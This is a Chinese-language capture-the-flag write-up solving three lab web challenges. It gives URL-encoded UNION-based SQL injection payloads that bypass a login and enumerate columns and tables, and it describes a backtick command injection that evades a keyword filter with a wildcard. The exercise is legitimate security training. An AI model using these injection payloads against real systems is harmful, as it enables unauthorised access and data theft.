作業三 Write-up by owl_d
Let me in REVENGE
登入頁面的sqli
可以先試試 '--
發現會噴錯
基本上都會有information_schema.tables這個table
所以先試試這個payload:
username=%27+UNION+SELECT+NULL+from+information_schema.tables#&password=
發現有噴關於column數量的error,代表方向是對的了
多試幾個column數量就出來了
payload:
username=%27+UNION+SELECT+NULL,+NULL,+NULL+from+information_schema.tables#&password=
意外發現這個也會過:
payload:
username=%27+UNION+SELECT+@@version,+NULL,+NULL#&password=
所以應該只要欄位對了就進去了
試試看 ' ORDER BY 3
可以過
' ORDER BY 4
就會報錯
所以其實 ' UNION SELECT NULL, NULL, NULL'
應該是最快的解法
sqli union REVENGE
先試試上一題的payload:
%27+UNION+SELECT+NULL+from+information_schema.tables
試了幾遍發現不管怎麼送都一直跳一樣的error
後來再仔細看來一下source code
debug出來了,一個引號不夠用,所以要塞數字或兩個引號
然後就可以開始測 ORDER BY 了, 發現 4 會報錯,代表欄位是 3,
把所有 table 都先 dump 出來
發現flag的table了
接著看一下columns
最終payload:
dig-waf-1
先試一下 ‘`ls /`’
發現 flag 了
要記得flag這個字眼會被過濾掉
改成用 * 來代替就過了